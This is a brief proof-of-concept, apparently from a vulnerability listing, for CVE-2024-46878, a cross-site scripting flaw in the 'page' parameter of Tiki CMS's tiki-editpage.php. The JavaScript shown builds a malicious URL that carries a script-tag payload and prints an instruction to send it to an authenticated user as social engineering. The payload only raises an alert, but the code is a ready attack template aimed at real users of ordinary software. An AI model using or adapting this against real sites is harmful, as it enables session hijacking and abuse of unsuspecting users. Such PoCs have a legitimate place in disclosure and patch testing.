CVE-2024-46878 Tiki CMS跨站脚本漏洞

// PoC for CVE-2024-46878 // The vulnerability is located in the 'page' parameter of tiki-editpage.php // Payload to demonstrate XSS execution var payload = '<script>alert(\'CVE-2024-46878-XSS\');</script>'; // Construct the malicious URL var targetUrl = 'http://target-domain/tiki-editpage.php?page=' + encodeURIComponent(payload); // Simulate sending the link to a victim (Social Engineering) console.log('Send this URL to an authenticated user: ' + targetUrl); // When the user clicks, the script executes in the context of the victim's browser session.